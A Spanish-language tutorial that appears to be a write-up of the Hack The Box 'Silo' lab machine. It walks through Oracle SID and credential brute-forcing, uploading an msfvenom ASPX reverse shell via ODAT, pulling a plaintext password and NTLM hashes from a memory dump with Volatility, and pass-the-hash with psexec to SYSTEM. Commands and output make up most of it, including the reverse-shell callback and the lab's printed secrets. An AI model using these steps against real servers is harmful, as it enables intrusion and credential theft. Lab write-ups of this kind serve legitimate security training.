Como realizar una auditoria a una base de datos de Oracle

Como realizar una auditoria a una base de datos de Oracle

Hello Cyber-Spartans!!
Hoy vamos a realizar una prueba de penetración hacia un servidor de base de datos Oracle.
Si quieres practicar haciendo las diferentes actividades que presentaré durante este tutorial, te invito a revisar la máquina Silo de HackTheBox.

Antes de empezar quiero aclarar que todo mi contenido publicado se hace con fines educativos, informativos y éticos.
No me hago responsable del mal uso que puedan darle.

Con este tutorial aprenderás:

  • Cómo realizar un simple escaneo de puertos con Nmap.
  • Cómo realizar un ataque de fuerza bruta para descubrir un SID de Oracle TNS.
  • Aprender a utilizar la ODAT - (Oracle Database Attack Tool).
  • Cómo atacar un servidor Oracle con Metasploit Framework.
  • Cómo realizar un análisis forense con Volatility.
  • Cómo extraer los hashes de contraseñas en un memory dump.
  • Cómo realizar una escalada de privilegios mediante la técnica del pass the hash.

Hacking Silo

Como siempre vamos a empezar a enumerar nuestra víctima, Para ello realizaremos un simple escaneo con Nmap, de la siguiente manera.

╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # nmap -sS -T4 -sV -sC 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up (0.097s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  oracle-tns   Oracle TNS listener (requires service name)
49161/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-08-03 12:12:21
|_  start_date: 2018-08-03 11:47:06

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.99 seconds

Con el resultado del escaneo anterior, pudimos apreciar que este servidor probablemente tenga Windows Server 2008 R2 y por otro lado tiene habilitado el puerto 80 (Microsoft IIS httpd 8.5).
Para este pentesting, vamos a centrarnos en el puerto 1521, que indica ser un servicio oracle-tns.

Fuerza bruta para identificar el SID

Para continuar, vamos a auditar esta base de datos Oracle con la herramienta ODAT.
ODAT Es una herramienta de pentesting de código abierto diseñada para atacar y auditar la seguridad de los servidores de Oracle Database.
Los siguientes pasos son:

  • Enumerar la versión de la base de datos Oracle
  • Descubrimiento de SIDs (Un ID es represtando como una “instancia de base de datos” única)
  • Obtener una cuenta de usuario (A travez de bruteforcing)
  • Explotacion / Escalacion de privilegios.
    Podemos utilizar el siguesser de ODAT para descubrir bien:
╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # ./odat.py sidguesser -s 10.10.10.82

[1] (10.10.10.82:1521): Searching valid SIDs
[1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'SAMPLE' is a valid SID. Continue...
[+] 'SCAN4' is a valid SID. Continue...
[+] 'XE' is a valid SID. Continue...
[+] 'XEXDB' is a valid SID. Continue...
100% |##############################################| Time: 00:10:55
[1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |##############################################| Time: 00:00:12
[1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid SID. Continue...
100% |##############################################| Time: 00:07:31
[+] SIDs found on the 10.10.10.82:1521 server: SAMPLE,SCAN4,XE,XEXDB

Fuerza bruta para encontrar credenciales correctas

A partir de los resultados, identificamos 4 posibles SIDs (SAMPLE,SCAN4,XE,XEXDB).
A continuación, tendremos que identificar las credenciales válidas para autenticarse en la base de datos.
Para esta tarea, podemos utilizar un módulo auxiliar de metasploit llamado oracle_login.

msf5 > use admin/oracle/oracle_login
msf5 auxiliary(admin/oracle/oracle_login) > set RHOST 10.10.10.82
RHOST => 10.10.10.82
msf5 auxiliary(admin/oracle/oracle_login) > set SID XE
SID => XE
msf5 auxiliary(admin/oracle/oracle_login) > run -j
[*] Auxiliary module running as background job 0.

[*] Starting brute force on 10.10.10.82:1521...
[+] Found user/pass of: scott/tiger on 10.10.10.82 with sid XE
[*] Auxiliary module execution completed

Muy bien. Encontramos una credencial válida.
Otra manera de lograr para detectar credenciales validas, es utilizando una lista de credenciales por defecto.
Unas credenciales válidas significan que podemos conectarnos a la instancia XE y empezar a consultar la base de datos en busca de posible información. Resulta que scott también tiene el privilegio SYSBDA. Piensa en ello como algo parecido a sudo - te da flexibilidad extra y mayores privilegios en caso de que quieras hacer alguna alteración de la base de datos, administración de usuarios y la lista continúa.

Oracle Database Penetration Testing

Ahora que tenemos un SID y unas credenciales válidas, podemos conectarnos a la base de datos para la enumeración manual.

╭─[/opt/oracle]─[root@Arthorias]─[0]─[4438]
╰─[:)] # sqlplus scott/tiger@10.10.10.82:1521/XE

SQL*Plus: Release 12.1.0.2.0 Production on Tue Oct 3 12:56:27 2019

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL> select * from v$version;
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
CORE 11.2.0.2.0 Production
TNS for 64-bit Windows: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production

Para empezar, podemos consultar los privilegios y las funciones de los usuarios.

SQL> SELECT * FROM user_role_privs;             

USERNAME		       GRANTED_ROLE		      ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT			       CONNECT			      NO  YES NO
SCOTT			       RESOURCE 		      NO  YES NO

Como puedes ver, scott es un usuario con pocos privilegios en el sistema. Para poder obtener acceso al shell, podríamos necesitar escalar nuestro privilegio a DBA primero y realizar algunos ataques conocidos a Oracle. Para lograr esto fácilmente, podemos utilizar una herramienta llamada ODAT (Oracle Database Attack Tool). Es una herramienta de código abierto utilizada para automatizar los ataques a una base de datos Oracle.

Antes de poder utilizar ODAT, necesitamos instalarlo primero en Kali. Puedes consultar esta guía de instalación para instalarlo con éxito.

Usando ODAT - (Oracle Database Attack Tool)

Inicialmente, ejecutaremos todos los módulos de la ODAT en nuestro servidor víctima.

╭─[/Ethic4l-Hacking/Operations/Silo/ODAT]─[root@Arthorias]─[0]─[4438]
╰─[:)] # python odat.py all -s 10.10.10.82 -d XE -U scott -P tiger

[1] (10.10.10.82:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)?
[+] The target is vulnerable to a remote TNS poisoning

[2] (10.10.10.82:1521): Testing all modules on the XE SID with the scott/tiger account
[2.1] UTL_HTTP library ?
[-] KO
[2.2] HTTPURITYPE library ?
[+] OK
[2.3] UTL_FILE library ?
[-] KO
[2.4] JAVA library ?
[-] KO
[2.5] DBMSADVISOR library ?
[+] OK
[2.6] DBMSSCHEDULER library ?
[-] KO
[2.7] CTXSYS library ?
[-] KO
[2.8] Hashed Oracle passwords ?
[+] OK
[2.9] Hashed Oracle passwords from history?
[-] KO
[2.10] DBMS_XSLPROCESSOR library ?
[+] OK
[2.11] External table to read files ?
[-] KO
[2.12] External table to execute system commands ?
[-] KO
[2.13] Oradbg ?
[-] KO
[2.14] DBMS_LOB to read files ?
[+] OK
[2.15] SMB authentication capture ?
[-] KO
[2.17] Modify any table while/when he can select it only normally (CVE-2014-4237)?
[-] KO
[2.18] Obtain the session key and salt for arbitrary Oracle users (CVE-2012-3137)?
[-] KO

La biblioteca DBMS_XSLPROCESSOR está habilitada y por lo tanto nos permite poner cualquier archivo en la máquina.
En primer lugar, crearemos un simple archivo de texto y comprobaremos si podemos subirlo con éxito a wwwroot.

╭─[/Ethic4l-Hacking/Operations/Silo/ODAT]─[root@Arthorias]─[0]─[4438]
╰─[:)] # echo "Hacked By Gerh" > File-Test.txt

╭─[/Ethic4l-Hacking/Operations/Silo/ODAT]─[root@Arthorias]─[0]─[4439]
╰─[:)] # python odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:\\inetpub\\wwwroot" "File-Test.txt" "/tmp/File-Test.txt"

[1] (10.10.10.82:1521): Put the /root/Desktop/File-Test.txt local file in the C:\inetpub\wwwroot\ folder like File-Test.txt on the 10.10.10.82 server
[+] The /root/Desktop/File-Test.txt file was created on the C:\inetpub\wwwroot\ directory on the 10.10.10.82 server like the File-Test.txt file

Como puedes ver, podemos subir el archivo con éxito. Comprobemos usando curl.

╭─[/Ethic4l-Hacking/Operations/Silo/ODAT]─[root@Arthorias]─[0]─[4438]
╰─[:)] # curl http://10.10.10.82/File-Test.txt
Hacked By Gerh

Ahora que podemos cargar en el sistema de destino, podemos generar fácilmente un shell inverso con ASPX usando msfvenom, cargarlo usando ODAT, y activarlo para obtener acceso al shell.

╭─[/Ethic4l-Hacking/Operations/Silo/ODAT]─[root@Arthorias]─[0]─[4438]
╰─[:)] # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.15.110 LPORT=443 -f aspx > /tmp/shell.aspx
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 500 bytes
Final size of aspx file: 3606 bytes

╭─[/Ethic4l-Hacking/Operations/Silo/ODAT]─[root@Arthorias]─[0]─[4438]
╰─[:)] # python odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:\\inetpub\\wwwroot" "shell.aspx" "/tmp/shell.aspx"
[1] (10.10.10.82:1521): Put the /tmp/shell.aspx local file in the C:\inetpub\wwwroot\ folder like shell.aspx on the 10.10.10.82 server
[+] The /root/Desktop/shell.aspx file was created on the C:\inetpub\wwwroot\ directory on the 10.10.10.82 server like the shell.aspx file

Tras subir nuestra shell, iniciaremos el framework de Metasploit y lo configuraremos para que escuche en los puertos previamente indicados.
Posteriormente, solo debemos hacer una peticion a la ruta http://10.10.10.82/shell.aspx y en una consola establecer un oyente para recibir nuestra shell inversa.

╭─[/Ethic4l-Hacking/Operations/Silo/ODAT]─[root@Arthorias]─[0]─[4438]
╰─[:)] # msfconsole
msf5 exploit(multi/handler) > set LHOST 10.10.14.110
LHOST => 10.10.14.110
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.110:443 
[*] Meterpreter session 1 opened (10.10.14.110:443 -> 10.10.10.82:49177) at 2019-10-03 21:43:08 

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv> whoami
whoami
iis apppool\defaultapppool

Listo, ya tenemos un Shell y con él podemos ejecutar comandos en el servidor.

Privilege Escalation

Como puedes ver, hay un archivo llamado “Oracle issue.txt” en el directorio Desktop. Esto podría contener una pista para nuestro vector de escalada de privilegios.

C:\Users\Phineas\Desktop> type "Oracle issue.txt"
type "Oracle issue.txt"
Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):

Dropbox link provided to vendor (and password under separate cover).

Dropbox link 
https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

link password:
£%Hm8646uC$

El archivo de texto menciona un volcado de memoria. Eso es una buena señal para nosotros, porque hay una alta probabilidad de que ese volcado de memoria contenga información valiosa. Muchas herramientas analizarán la memoria por nosotros y sacarán cosas valiosas como contraseñas. Así que está bastante claro que tenemos que hacer un poco de análisis de memoria.
Tras descargar el archivo zip, lo descomprimimos y descubrimos que contiene un volcado de memoria. Utilizamos la herramienta de volatilidad para investigar el volcado.

Uso de Volatility para extraer contraseñas

Después de descargar el volcado de memoria, podemos utilizar volatilidad en él para realizar el análisis forense. Volatility está integrado en Kali, por lo que no hay necesidad de hacer una instalación adicional. Si no estás familiarizado con Volatility, puedes consultar esta hoja de trucos del SANS.
Para el paso inicial, necesitaríamos identificar la versión del sistema operativo de la máquina donde se tomó el volcado de memoria para que los plugins de volatilidad sean precisos. Aunque podemos simplemente emitir un comando systeminfo en nuestra sesión de shell, también podemos identificar esto usando un plugin de volatilidad llamado imageinfo.

╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # volatility -f SILO-20180105-221806.dmp imageinfo
Volatility Foundation Volatility Framework 2.6
          Suggested Profile(s) : Win8SP0x64, Win10x64_17134, Win81U1x64, Win10x64_10240_17770, Win2012R2x64_18340, Win10x64_14393, Win10x64, Win2016x64_14393, Win10x64_16299, Win2012R2x64, Win2012x64, Win8SP1x64_18340, Win10x64_10586, Win8SP1x64, Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : WindowsCrashDumpSpace64 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/datos/gerh/Escritorio/Prometheus/Ethic4l-Hacking/Operations/Premium/Silo/SILO-20180105-221806.dmp)
                      PAE type : No PAE
                           DTB : 0x1a7000L
                          KDBG : 0xf80078520a30L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8007857b000L
                KPCR for CPU 1 : 0xffffd000207e8000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-01-05 22:18:07 UTC+0000
     Image local date and time : 2018-01-05 22:18:07 +0000

Uno de los plugins útiles que podemos utilizar en esta situación es lsadump. El plugin lsadump vuelca los secretos LSA descifrados del registro. Esto expone información como la contraseña por defecto (para sistemas con autologin habilitado), claves públicas RDP, y credenciales usadas por DPAPI.

╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000  1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000010  44 00 6f 00 4e 00 6f 00 74 00 48 00 40 00 63 00   D.o.N.o.t.H.@.c.
0x00000020  6b 00 4d 00 65 00 42 00 72 00 6f 00 21 00 00 00   k.M.e.B.r.o.!...

DPAPI_SYSTEM
0x00000000  2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010  01 00 00 00 cf 25 94 31 34 9e ae 43 2d 8b 87 ac   .....%.14..C-...
0x00000020  f2 a7 74 1c 6d ec 1c 04 08 43 a8 a6 a9 42 62 f7   ..t.m....C...Bb.
0x00000030  55 70 48 bb 17 7d 82 fe 79 49 02 bd 00 00 00 00   UpH..}..yI......

Como puedes ver en los resultados de lsadump, fuimos capaces de adquirir una contraseña en texto plano DoNotH@ckMeBro!.
Como el servicio SMB es accesible a través de la red, podemos utilizar winexe para iniciar sesión a través de SMB.

╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # winexe -U Administrator //10.10.10.82 cmd.exe
Enter password: DoNotH@ckMeBro!

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
silo\administrator

Otra forma en la que podríamos haber escalado privilegios es a través del plugin hivelist.

╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hivelist 
Volatility Foundation Volatility Framework 2.6
Virtual            Physical           Name
------------------ ------------------ ----
0xffffc0000100a000 0x000000000d40e000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xffffc000011fb000 0x0000000034570000 \SystemRoot\System32\config\DRIVERS
0xffffc00001600000 0x000000003327b000 \??\C:\Windows\AppCompat\Programs\Amcache.hve
0xffffc0000001e000 0x0000000000b65000 [no name]
0xffffc00000028000 0x0000000000a70000 \REGISTRY\MACHINE\SYSTEM
0xffffc00000052000 0x000000001a25b000 \REGISTRY\MACHINE\HARDWARE
0xffffc000004de000 0x0000000024cf8000 \Device\HarddiskVolume1\Boot\BCD
0xffffc00000103000 0x000000003205d000 \SystemRoot\System32\Config\SOFTWARE
0xffffc00002c43000 0x0000000028ecb000 \SystemRoot\System32\Config\DEFAULT
0xffffc000061a3000 0x0000000027532000 \SystemRoot\System32\Config\SECURITY
0xffffc00000619000 0x0000000026cc5000 \SystemRoot\System32\Config\SAM
0xffffc0000060d000 0x0000000026c93000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xffffc000006cf000 0x000000002688f000 \SystemRoot\System32\Config\BBI
0xffffc000007e7000 0x00000000259a8000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xffffc00000fed000 0x000000000d67f000 \??\C:\Users\Administrator\ntuser.dat

Ahora podemos volcar los hashes suministrando las direcciones relacionadas al SYSTEM y SAM.

Nota: Para utilizar hashdump, se debe especificar la dirección virtual de la columna SYSTEM con el parametro -y y la dirección virtual de la columna SAM con el parametro -s

╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::

Podríamos intentar descifrar estos, pero primero, vamos a intentar el ataque pass the hash:

╭─[/Ethic4l-Hacking/Operations/Silo]─[root@Arthorias]─[0]─[4438]
╰─[:)] # /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 -target-ip 10.10.10.82
 administrator@10.10.10.82
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on 10.10.10.82.....
[*] Found writable share ADMIN$
[*] Uploading file XryxqKFr.exe
[*] Opening SVCManager on 10.10.10.82.....
[*] Creating service PAYb on 10.10.10.82.....
[*] Starting service PAYb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Tutorial Explicativo